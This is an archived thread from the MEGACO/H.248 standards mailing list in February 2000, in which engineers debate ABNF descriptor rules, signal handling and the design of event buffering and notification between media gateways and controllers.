          sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id IAA10805
          for ; Wed, 9 Feb 2000 08:28:25
          -0600 (CST)
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="------------3C7AB1B3833890B0990D0681"
Message-ID:  <38A17987.2D14344E@usa.alcatel.com>
Date:         Wed, 9 Feb 2000 08:28:24 -0600
Reply-To: Chuong Nguyen 
Sender: "Media Gateway Control (megaco)"
              
From: Chuong Nguyen 
Subject:      ABNF
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------3C7AB1B3833890B0990D0681
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi

terminationAudit = auditReturnParameter *(COMMA auditReturnParameter)

; at-most-once except errorDescriptor
auditReturnParameter = (mediaDescripto/......statisticaDescriptor/....)

Is the "at-most-once" implying the following?

Subtract=t123{Statistics{......}} and

not Subtract=t123{Statistics{...}, Statistics{...}, Statistics{....}}

That is in general wherever the ABNF shows a combination of the above
statements,
the intend is that the command would not have the same descriptor more
than once in the command.
Also in the above statements, only errorDescriptor can be included more
than once in the
command.

Thanks
Chuong

--
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****



--------------3C7AB1B3833890B0990D0681
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



Hi

terminationAudit = auditReturnParameter *(COMMA auditReturnParameter)

; at-most-once except errorDescriptor

auditReturnParameter = (mediaDescripto/......statisticaDescriptor/....)

Is the "at-most-once" implying the following?

Subtract=t123{Statistics{......}} and

not Subtract=t123{Statistics{...}, Statistics{...}, Statistics{....}}

That is in general wherever the ABNF shows a combination of the above
statements,

the intend is that the command would not have the same descriptor more
than once in the command.

Also in the above statements, only errorDescriptor can be included
more than once in the

command.

Thanks

Chuong

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****

 

--------------3C7AB1B3833890B0990D0681--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 10:44:33 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08351
	for ; Wed, 9 Feb 2000 10:44:33 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.37402E50@standards.nortelnetworks.com>; Wed, 9 Feb 2000 10:41:26 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 34591 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 10:39:30 -0500
Received: from mtiwmhc04.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.F1F820A0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 10:39:30
          -0500
Received: from worldnet.att.net ([12.78.98.159]) by mtiwmhc04.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000209154153.PMJC1419@worldnet.att.net>; Wed, 9 Feb 2000 15:41:53
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <153BDA136259D311859900A0C99B5263052D02@boca-isbu-nt04.boca.unisphere.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A18B0A.EFF2063A@worldnet.att.net>
Date:         Wed, 9 Feb 2000 10:43:06 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         "Glasgow, George" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

"Glasgow, George" wrote:

> Michael,
> You make some good points.
>
> Coming from the PSTN world, I can say that it was always clear to us that
> the subscriber is God. If he goes off-hook or on-hook, then the signal must
> be processed. Under no circumstances were we permitted to allow the
> subscriber port to get hung.
>
> In the case of VMWI, if the FSK transmission to the CPE was going on when
> the subscriber went off-hook, then we simply aborted the VMWI and processed
> the off-hook. Once the subscriber went on-hook, we went back and re-sent the
> VMWI signal. This applies similarly to Calling Number/Name delivery, in that
> the off-hook was processed and the FSK was aborted. In these features, of
> course, we didn't go back at the end of the call and attempt to deliver the
> data to the CPE!

Correct, and that's why Calling Number/Name delivery would not be an OO signal
where as VMWI would.

Regards

        Flemming


<< stuff deleted >>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 10:53:22 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA08570
	for ; Wed, 9 Feb 2000 10:53:21 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.57BF0240@standards.nortelnetworks.com>; Wed, 9 Feb 2000 10:49:30 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 34641 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 10:47:40 -0500
Received: from kickme.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.15C31250@standards.nortelnetworks.com>; Wed, 9 Feb 2000 10:47:39
          -0500
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by
          kickme.cisco.com (8.9.1a/8.9.1) with ESMTP id HAA13922; Wed, 9 Feb
          2000 07:40:18 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List
          Logging/CISCO.WS.1.2) id HAA26000; Wed, 9 Feb 2000 07:48:57 -0800
          (PST)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <4FBEA8857476D311A03300204840E1CF2088D9@whq-msgusr-02.fore.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk
        @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
        bUcI'1!
Message-ID:  <14497.35945.710817.548102@thomasm-u1.cisco.com>
Date:         Wed, 9 Feb 2000 07:48:57 -0800
Reply-To: Michael Thomas 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Thomas 
Subject:      Re: Cisco SG16: Keep Active
X-To:         "Rosen, Brian" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <4FBEA8857476D311A03300204840E1CF2088D9@whq-msgusr-02.fore.com>
Content-Transfer-Encoding: 7bit

Rosen, Brian writes:
 > Flemming
 >
 > Rather than go through this, it seems we are in an impasse.
 >
 > I believe that the two modes provided give you all the tools
 > required to either have events sent to the MGC as fast as they
 > occur, but with little filtering, or, to have the MGC and the MG
 > be in lock-step on processing events.  If there are some wording
 > problems that make you think this is not so, we will have to change
 > them, as that is the intent.
 >
 > It would seem that there is only one fundamental difference in the
 > two mechanisms: you seem to want a way to have some events get buffered, and
 > then have something occur which causes the buffer
 > to be sent.  I think there is no such requirement.

What, in principle, are digit maps if not special
instances of what Flemming is describing? I don't
think that anybody would argue that, say,
overlapped dialing doesn't function properly. It's
just that there's incentive to keep usual and
unneed load off the MGC, which is a consideration.

Didn't you at one time want to fold digit maps
into a general mechanism? Something that you
thought might be a good idea if it weren't for the
fact that it opened yet another can of worms? How
would you do this without having a means of
buffering events where a specified trigger caused
the MG to send the accumulated events?

 > Let me rephrase
 > that a little: the benefit of creating in-between mechanisms
 > is outweighed by the complexity of the mechanism required, and the
 > lack of agreement on what additional complexity is warranted.
 > I think you would agree that the "send events as you find them"
 > always works, it's just that the MGC may have to throw away some
 > events it may have been able to avoid seeing, which raises the
 > complexity of the MGC code required.

It's not an issue of complexity; MGC's need to
deal with events and their timing no matter how
they come in. It it's an issue of efficiency. In
the case of digit maps, it would at least double
the number of messages needed to complete a call.


               Mike


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 11:08:31 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09086
	for ; Wed, 9 Feb 2000 11:08:28 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.78CFE790@standards.nortelnetworks.com>; Wed, 9 Feb 2000 11:04:44 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 34706 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 11:03:24 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.E2837410@standards.nortelnetworks.com>; Wed, 9 Feb 2000 10:53:23
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id KAA13889; Wed, 9 Feb
          2000 10:55:43 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id KAA29481; Wed, 9 Feb
          2000 10:55:45 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCT4902>; Wed, 9 Feb 2000 10:52:22 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088EC@whq-msgusr-02.fore.com>
Date:         Wed, 9 Feb 2000 10:55:43 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Cisco SG16: Keep Active
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Flemming

Having finished -06, I'm back to this thread.

I think you had better take a look at TD-58.
You might have thought that what you want was there, but it
doesn't appear to be.

TD-58 has the following features:
        There is the action parameter, with Notify/Accumulate/Digit-
                Map and KeepActive
        The TerminationBuffered parameter describes actions taken by
         the MG when events are not immediately notified to the
         controller.
        1.      BufferedEventProcessingMode - specifies whether buffered
         events should be processed (Process) or discarded (Discard).
        2.      BufferedEventNotificationMode - specifies whether the
         Media Gateway is expected to detect the requested event and
         notify the controller once (step by step) or repeatedly
        (Loop).

So, you get events in the buffer if the action says Accumulate.
You get events out of the buffer....when?
loop/step says "detect the requested event and notify once or
repeatedly".  Not a very interesting thing to do.  Just what was
it supposed to do?  Send all of the buffer or one event in the buffer?

Process/Discard says events in the event buffer should be processed
or discarded.  Okay, suppose it's set to discard - do events ever
get in?  If they do, when do we discard them?  Suppose it's set
to process - when do we process them?

I think I now, with your help, understand some of what was meant:
Accumulate gets them in, Notify gets them out.
Discard clears the buffer - nothing in, nothing out
Process lets them accumulate
Loop sends all of them when a Notify occurs
Step sends one of them, but I don't understand how you get
another one.  You get a Notify event, and settings are Step and Process.
Do you send the Notified event first, and then the buffer,
do you put the Notified Event in the buffer and send the first
event that was in the buffer.  Then what?

But, I digress.  If you have provided an example of how you use
it in MF trunking, I must have missed it, because I don't
see it in this thread, I see an allusion to it having something
like digitmaps, but I don't understand it.

The scripting argument is pretty weak, IMO, because scripts can
use "EventBufferOff" and do anything they want to.

The problems with TD-58's scheme are:
        1. The mechanism as defined in the text doesn't work
        2. It is not the MGCP mechanism (quarantine, for example,
                is not in there).  We have no experience with this
                one
        3. The combination of discard/accumulate makes no sense
                In fact the combination of discard and any state
                of loop/step doesn't make sense
        4. The action of process by digitmap makes sense only
                with dtmf, and no other events, yet it's a whole action
                and gets applied to the dtmf digits, rather than the
                DigitMap completion events.
        5. KeepActive has nothing to do with action - whether the
                event stops signals should not be tied to whether
                you Notify or Accumulate
        6. Following notification of an event, whether that event
                should be Notified or Accumulated should be up to
                the MGC; the TD-58 mechanism does not allow an
                event to be Notified, but subsequently accumulated
        7. Generally, the most interesting thing to do is to detect
                one of several events, and then accumulate until
                the MGC figures out what it wants to do next.  TD-58
                doesn't let you do that - it only accumulates before the
                triggering event.

Brian



> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> Sent: Tuesday, February 08, 2000 12:06 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Cisco SG16: Keep Active
>
>
>
>
> "Rosen, Brian" wrote:
>
> > Flemming
> >
> > Rather than go through this, it seems we are in an impasse.
> >
> > I believe that the two modes provided give you all the tools
> > required to either have events sent to the MGC as fast as they
> > occur, but with little filtering, or, to have the MGC and the MG
> > be in lock-step on processing events.  If there are some wording
> > problems that make you think this is not so, we will have to change
> > them, as that is the intent.
>
> I think we are in agreement on this particular requirement
> part, however I
> believe there are details to be worked out as explained in my
> previous e-mail.
> My caveat here is the "lock-step on processing events", where
> I want a mechanism
> that allows you more flexibility in this processing than what
> you have specified
> in v14. TD-58 satisfies those requirements.
>
> >
> >
> > It would seem that there is only one fundamental difference in the
> > two mechanisms: you seem to want a way to have some events
> get buffered, and
> > then have something occur which causes the buffer
> > to be sent.  I think there is no such requirement.  Let me rephrase
> > that a little: the benefit of creating in-between mechanisms
> > is outweighed by the complexity of the mechanism required, and the
> > lack of agreement on what additional complexity is warranted.
>
> Precisely what complexity are we talking about here ? Despite
> the "no-op" change
> rule, I have played along and taken your v14 proposal and
> explained the problems
> I see with it. I think it's your turn to come forward with
> specific problems in
> the TD-58 scheme now.
>
>
>
> > I think you would agree that the "send events as you find them"
> > always works, it's just that the MGC may have to throw away some
> > events it may have been able to avoid seeing, which raises the
> > complexity of the MGC code required.  The issue is, how do you
> > find a middle ground that is truly useful?  I don't see it,
> > no one has supplied any justification for it.
>
> I believe TD-58 provides that middle ground. As for the
> usefulness I can only
> point to MGCP experience which truly is the only experience
> we have in this
> area. The experience we have there, is that the mechanism is
> sufficient. To give
> you some justification, I can (again) point you to, say MF
> trunking where I know
> of one example that took advantage of the combination of
> "Accumulate" and
> "Notify" action. There has also been some preliminary work
> done on scripting,
> and having a hard-coded Notify in the event handling would
> have been disastrous.
>
> >
> >
> > I have asked for an example of a system which needed some
> events buffered,
> > but others notified immediately, along with the buffer.
> > What you have provided in response is a "good design principals"
> > argument.  Simplicity is a good design principal.
>
> You are mixing two separate issues (or leaving out the main point).
>
> The first (and most important) issue is that I have a
> fundamental desire to
> provide a mechanism that allows the MG to some local processing. Can I
> demonstrate an absolutely need for this ? Of course not, it's
> an optimization,
> just like digit maps, pending responses, etc. are an
> optimization. Now I happen
> to believe (and have argued why several times now) that enabling local
> processing in the MG is very important, and the protocol
> absolutely must be
> designed with this in mind. Its good to simplify, but not to
> oversimplify.
>
> The second issue is whether a given MGC-MG relationship can
> ever have a need to
> sometimes Notify all events at once, and sometimes notify
> them in lock-step.
> This is where I apply the good design principle. Again, you
> are asking for a
> *necessity* example, well that's going to be hard for the
> same reasons as above.
> I see this property as enabling simplified MGC's and allowing for some
> flexibility in when you want to enable local MG processing
> and when you will
> not.
>
> The fundamental problem I am having with this discussion, is
> that you cannot (or
> at least have not) explained a single problem with the TD-58
> mechanism, but
> regardless you come up with a new mechanism. Whatever
> limitation I desribe with
> this new mechanism is simply addressed as something you can't
> imagine being
> useful (at least not necessary). Now, Brian you know I have a
> lot of respect for
> you, but having the protocol limited by your imagination when
> seemingly good
> alternatives exist in TD-58 is (with all due respect) simply
> not the way to do
> it. I ask you one more time to explain to me exactly what the
> problem with TD-58
> (details or requirements ) is ?
>
>
> >
> >
> > The rest is details; we can handle that if there is consensus
> > on the requirements.
>
> I'm not sure there is, but it's probably a good idea to have
> two separate
> threads on this one. Maybe we should start with the Megaco
> requirements, e.g.
> Section 5.4:
>
> "The Protocol must:
> ...
> c.   Allow reporting of detected events on the MG to the MGC.
> The proto-
>      col should provide the means to minimize the messaging
> required to
>      report commonly-occurring event sequences.
>
> d.   Allow the MGC to specify other actions (besides
> reporting) that the
>      MG should take upon detection of specified events."
>
>
> I don't really see v14 event handling satisfying these,
> however TD-58 certainly
> does.
>
>
> -- Flemming
>
>
> >
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreasen@worldnet.att.net]
> > > Sent: Tuesday, February 08, 2000 10:27 AM
> > > To: Rosen, Brian
> > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Cisco SG16: Keep Active
> > >
> > >
> > > Brian
> > >
> > > Thanks for your detailed response - a detailed answer follows
> > > below. To
> > > summarize for those that do not feel like going through all
> > > the details here:
> > > 1. I still see significant drawbacks with the v14 scheme
> > > 2. I do not see those drawbacks with the TD-58 scheme
> > > 3. I have seen no advantages being offered with the v14
> > > scheme compared to the
> > > TD-58 scheme
> > >
> > > and consequently I must ask for the TD-58 scheme to be reinstated.
> > >
> > >
> > >
> > > "Rosen, Brian" wrote:
> > >
> > > > Thank you for taking the time to go through your issues.
> > > > I only wish you had done so two months ago!  Before dealing with
> > > > specifics, there is one aspect of the current mechanism you seem
> > > > to have misinterpreted.  When EventBuffering is ON,
> events detected
> > > > are compared against the EventBuffer Descriptor, not the
> > > Events Descriptor.
> > >
> > > You are right. While that addresses one specific comment
> > > below, it does not
> > > solve the fundamental problems though.
> > >
> > > >
> > > >
> > > > ...snip...
> > > > > The current event handling mechanism in Megaco/H248 v14 can
> > > > > be viewed as
> > > > > three processes that all interact. Events can be viewed as
> > > > > always being
> > > > > added to an event buffer (a FIFO queue) by an Event
> > > Detection process.
> > > >
> > > > > Another Event Processing process then removes these events
> > > > > from the FIFO
> > > > > queue. When a notification is sent, this process may block,
> > > > > waiting for a
> > > > > new Events Descriptor to be received. Events detected
> > > > > meanwhile will simply
> > > > > be added to the FIFO queue. Finally, whenever a new
> > > > > Events Descriptor is
> > > > > received the third process runs. This process determines the
> > > > > fate of events
> > > > > of events sitting in the FIFO queue, and installs a new
> > > > > Events Descriptor.
> > > > >
> > > > > The processes are illustrated in pseudo-code below
> > > > >
> > > > > Process 1: Event Detection
> > > > > ===================
> > > > > do {
> > > > > 
> > > > > if < event in current Events Descriptor> then   /* current
> > > > > Events Descriptor
> > > > > */
> > > > >   
> > > > >  else
> > > > >   
> > > > > } forever
> > > > The buffering process does not always buffer events.  In most
> > >
> > > Like I said, one way of viewing the procedure is the way I
> > > describe it. This is
> > > classic producer-consumer problem we are looking at here.
> > >
> > >
> > > >
> > > > cases, it immediately Notifies.  The decision process is:
> > > >         If EventBuffering is On,
> > > >                 If no events have been detected
> > > >                         ; the first event is
> immediately processed
> > > >                         If it is in Events Descriptor
> > > >                                 Notify immediately
> > > >                         Else
> > > >                                 discard
> > > >                 Else
> > > >                         If it is in EventBuffer Descriptor
> > > >                                 place in the buffer
> > > >                         Else
> > > >                                 discard
> > > >         Else
> > > >                 If the event is in Events Descriptor
> > > >                         Notify immediately
> > > >                 Else
> > > >                         discard
> > > >
> > > > To be really precise, it's possible that an event will occur
> > > > while another event is being processed when
> EventBuffering is Off,
> > > > and you could consider the second event in some kind of buffer.
> > >
> > > > I personally wouldn't - if it made it before I finished
> the Notify,
> > >
> > > > I'd add it to the Notify in process.  If it was after,
> I'd just hold
> > > > off processing it until I was done.
> > >
> > > That's not what the current text specifies, so if this is the
> > > behavior you want
> > > the text should be changed accordingly.
> > >
> > >
> > > >
> > > >
> > > >
> > > > >
> > > > > Process 2: Event Processing
> > > > > ===================
> > > > > do {
> > > > >  < wait for event in event buffer>
> > > > >  < remove first event from event buffer>
> > > > >  if  then {
> > > > >   Notify(event)
> > > > >   if  (Eventbuffer = "on") then  /* current Events
> Descriptor */
> > > > >    
> > > > >  }
> > > > > } forever
> > > > I'd say this process doesn't exist
> > >
> > > Depends on how you look at it. Like I said, this is one way
> > > of looking at it. It
> > > achieves precisely the same as your algorithm above
> > >
> > > >
> > > >
> > > > > Process 3: New Event Descriptor
> > > > > =======================
> > > > > if    /* new EventsDescritpr */
> > > > >  
> > > > > 
> > > > This is incorrect.  The first part is correct (clear
> eventBuffer if
> > > > EventBuffering is off).  The second part is:
> > > >   Else
> > > >         While EventBuffer has any events
> > > >                 If Event is in new Events Descriptor
> > > >                         Notify this event
> > > >                         Exit loop
> > > >                 Else
> > > >                         discard
> > > >         End Loop
> > >
> > > No. Take another look at process 2, which is my consumer
> > > process. The effect is
> > > precisly what you have specified, however all of these are
> > > really besides the
> > > point.
> > >
> > > >
> > > >
> > > > >
> > > > > Unfortunately, this mechanism suffers from some drawbacks,
> > > > > especially when
> > > > > compared to the mechanism that was specified in TD-58 after
> > > > > the Red Bank
> > > > > meeting:
> > > > >
> > > > > 1. Events to be detected in process 1 are always determined
> > > > > by the current
> > > > > Events Descriptor. This is an unfortunate restriction
> > > which may prevent
> > > > > detection of events that arrive more rapidly than the
> round-trip +
> > > > > processing time. For example, an application may initially
> > > > > wish to detect
> > > > > seizure, and subsequently detect a wink or unseizure. Unless
> > > > > all events are
> > > > > requested at the same time (which would effectively prevent
> > > > > glare detection)
> > > > > detection of all these events could not be guaranteed.
> > > > This is incorrect, there are two masks -- Events Descriptor and
> > > > BufferedEvents Descriptor.  The former determines what
> is notified,
> > > > the latter determines what is buffered.
> > >
> > > You're right. I believe it would be preferable to determine
> > > events to be
> > > detected based on the union of Events Descriptor and
> > > BufferedEvents Descriptor
> > > though.
> > >
> > > >
> > > >
> > > > Seizure would be Events Descriptor, Unseizure and wink would be
> > > > in BufferedEvents Descriptor.  Alternatively, you could use an
> > > > embedded Events Descriptor.
> > >
> > > For this specific case - maybe. It is not a general solution
> > > to the problem
> > > though (BufferedEvents Descriptor on the other hand is).
> > >
> > > >
> > > >
> > > > > What is needed, is an extra parameter to specify what events
> > > > > to detect (as
> > > > > opposed to process) during event buffering. Preferably, this
> > > > > set of events
> > > > > would be determined based on the union of this parameter and
> > > > > the current
> > > > > Events Descriptor.
> > > > As specified, we "detect" (I would say buffer) events in
> > > > BufferedEvents, and we "process" (I would say Notify) events in
> > > > Events Descriptor.  We could specify that detect is based on the
> > > > union of BufferedEvents and Events, but it's a little late for
> > > > optimizations (if it really is what we want, I would think not).
> > > >
> > > > >
> > > > > 2. Hardcoding Notify in process 2 limits throughput, as there
> > > > > shall normally
> > > > > only be one outstanding Notify per termination. A queue of
> > > > > Notify to be sent
> > > > > may consequently build up at the sender side thereby
> > > > > - Incurring event delivery delay when the event arrival rate
> > > > > exceeds the
> > > > > MG-MGC roundtrip time.
> > > > > - Limiting the average event arrival rate to the MG-MGC
> > > > > roundtrip time (best
> > > > > case).
> > > > This may be true if EventBuffering is On, but is not true if
> > > > EventBuffering is off.  In the latter case, events are
> Notified as
> > > > they are detected, and no response from the MGC is required.
> > >
> > > That is completely inconsistent with the current text.
> > > Section 9.1 specifies
> > > that:
> > >
> > >     "On a given Termination, there should normally be at most
> > > one outstanding
> > > Notify command at any time.  The RequestId parameter should
> > > be used to correlate
> > > Notify commands with the triggering notification request."
> > >
> > > What you are suggesting is that we just send the Notify's as
> > > fast as we can. The
> > > problem with this is that you cannot guarantee in-order
> > > (delivery of these
> > > messages) which means we no longer have event ordering in
> the system.
> > >
> > > >
> > > > In the former case, this is precisely what is required.
> > > The point of
> > > > buffering events is that once an event is detected, the
> MG doesn't
> > > > know what the MGC wants next; it has to wait to be
> told.  Meanwhile,
> > > > it buffers events the MGC told it it MIGHT want to see.
> > > When it gets
> > > > a new event descriptor, it can send ONE event, but then it
> > > is back in
> > > > the same state - what does the MGC want to do next?
> > >
> > > We are in absolute agreement here. One underlying "problem"
> > > however is that the
> > > MGC will only be able to request a single event. With the
> > > TD-58 solution you
> > > could have requested a whole sequence of events potentially.
> > >
> > > >
> > > >
> > > > Note that this condition should be very rare - events
> > > happen at human
> > > > speed in most cases, and computers are fast.  Even in
> large trunk
> > > > gateways, the MGC better be able to keep up with the
> event stream by
> > > > a whole lot more than a round trip time!
> > >
> > > That is a very dangerous assumption which even now doesn't
> > > hold. Think about
> > > auto-dialers, MF trunking, etc. Events happen a lot faster
> > > than human speed
> > > (which is why you added digit maps). Do you feel confident in
> > > assuming that this
> > > is the only case where this is needed ?
> > >
> > > As for your second point about MGC being able to keep up with
> > > event arrival
> > > rates significantly below network round trip time we are in
> > > complete agreement,
> > > and that is precisely my point. Your mechanism has an
> > > inherent rate limitation
> > > built into it, and that rate limiation is based on the
> > > network round-trip time
> > > for every thing where you don't apply some special mechanism
> > > (like digit maps).
> > > This mechanism is basic and belongs in the base protocol!
> > >
> > >
> > > >
> > > >
> > > > > TD-58 from Red Bank did not have this limitation. First of
> > > > > all, the MGC had
> > > > > the various "accumulate" actions that were designed to
> > > > > prevent this problem
> > > > > and limit bandwidth and CPU overhead.
> > > > It had a per event decision of Notify, Accumulate or process by
> > > > digitmap.  We have all of those.
> > >
> > > Then I've misunderstood something. Where do you have
> accumulate now ?
> > >
> > > >
> > > >
> > > > >Secondly, (assuming
> > > > > MGCP semantics) it
> > > > > would be possible for the MG to try and empty the EventBuffer
> > > > > in a single
> > > > > message based on the current Events Descriptor (arguably, a
> > > > > parameter to
> > > > > explicitly allow/disallow this behavior would be beneficial).
> > > > No one has ever described a scenario where it was once
> > > unacceptable to send
> > > > all events, but something occurs which makes it possible to
> > > send all events
> > > > in the buffer.  This seems unlikely
> > > >         Either the MGC is able to run it's own state machine and
> > > >                 it can handle events whenever they are detected
> > > >         OR
> > > >         The MGC has a simplistic view, and can only
> deal with the MG
> > > >                 and itself being in lockstep
> > > >
> > >
> > > You are making dangerous assumptions again. Experience has
> > > taught me that proper
> > > design rather than current perception and imagination is by
> > > far the better
> > > approach.
> > >
> > >
> > > >
> > > > >
> > > > > 3. There is a dual use of the Eventbuffer parameter which is
> > > > > unfortunate.
> > > > > Following a Notify where the Eventbuffer was "on", there is
> > > > > no way for the
> > > > > MGC to subsequently request that
> > > > > a) All the currently buffered events should be processed
> > > > > b) Future events should not be buffered events but simply
> > > > > sent immediately
> > > > This is the same as above.  Somehow, the MGC couldn't handle all
> > > > events, and now it can.  How can this be?
> > > > I would be willing, I suppose, to allow this (that is,
> have some way
> > > > to empty the Event Buffer by Notify rather than just
> clearing it),
> > > > but no one has been able to come up with a really interesting
> > > > case where the MG flips EventBuffering on and off.  I
> expect it will
> > > > set it one way and leave it.
> > >
> > > Same comment as above. I would much prefer proper design
> > > instead assumptions
> > > which may or may not hold down the road.
> > >
> > > >
> > > >
> > > > Please cite an interesting case where some events should be
> > > buffered,
> > > > but there comes an event where the buffer should be sent all at
> > > > once (and where it is unacceptable to send the events as they
> > > > are detected).
> > >
> > > Same comment as above.
> > >
> > >
> > > >
> > > >
> > > > > A simple solution to this problem would be to separate the
> > > > > parameter into
> > > > > two, which is precisely what the BufferedEventProcessingMode
> > > > > in TD-58 did.
> > > > Covered above, although no one could ever precisely explain
> > > to those of us
> > > > who sat through countless hours of discussion and email
> > > what the 4 states of
> > > > two variables were used for.
> > > >
> > >
> > > I disagree. Experience will tell us who is right. With my
> > > approch we can't
> > > loose, with yours we certainly can.
> > >
> > > >
> > > > >
> > > > >
> > > > > Finally, from a design perspective, the above solution
> > > contains some
> > > > > fundamentally undesirable properties. Most problematic is the
> > > > > hard-coded
> > > > > Notify of events which effectively provides a stimulus based
> > > > > approach to
> > > > > event handling with none or little future support for
> > > scripting. It
> > > > > effectively prevents us from taking advantage of more
> powerful and
> > > > > sophisticated MGs that are able to do some amount of
> > > local processing
> > > > > thereby
> > > > > - reducing bandwidth requirements
> > > > > - reducing MGC processing requirements (and complexity)
> > > > > - improves responsiveness as the network round-trip does
> > > not become a
> > > > > bottleneck
> > > > > Opponents to this point of view may claim, that packages with
> > > > > new events,
> > > > > signals, and properties can be defined that effectively
> > > > > achieve the above,
> > > > > as e.g. was done for digitmaps/DTMF detection. While that is
> > > > > indeed the case
> > > > > (and there are valid use cases for such), the point that
> > > > > needs to be made,
> > > > > is that the mechanisms are basic and of such high value that
> > > > > they should be
> > > > > supported natively rather than only by higher level
> > > > > mechanisms which may or
> > > > > may not be able to interact with each other. Consider for
> > > example the
> > > > > current DTMF detection scheme. As a consequence of the higher
> > > > > layer approach
> > > > > taken, it is not able to report incoming DTMF digits and
> > > > > other inter-twined
> > > > > events in the correct order, since the DTMF detection
> > > > > mechanism must itself
> > > > > be exactly one event (digit map completion). Another
> > > example is the
> > > > > interaction with signal interruption, e.g. dial-tone.
> > > Again, special
> > > > > consideration (define it to take place on the first digit) is
> > > > > needed to
> > > > > achieve the desired behavior although the event really has
> > > > > not occurred yet.
> > > > Scripting is, as you know, a version 2 problem.
> > > Presumably, scripting need
> > > > not limit itself to the same view of events, or more
> > > precisely, it would
> > > > probably handle event detection as they occurred, and
> > > generate Notifies (if
> > > > appropriate), whenever the script decided to.  I would
> > > allow scripts to run
> > > > on detection, allow them to put events in the buffer, and
> > > allow them to run
> > > > on Notify (which would include allowing the Notify script
> > > to paw through the
> > > > buffer).
> > >
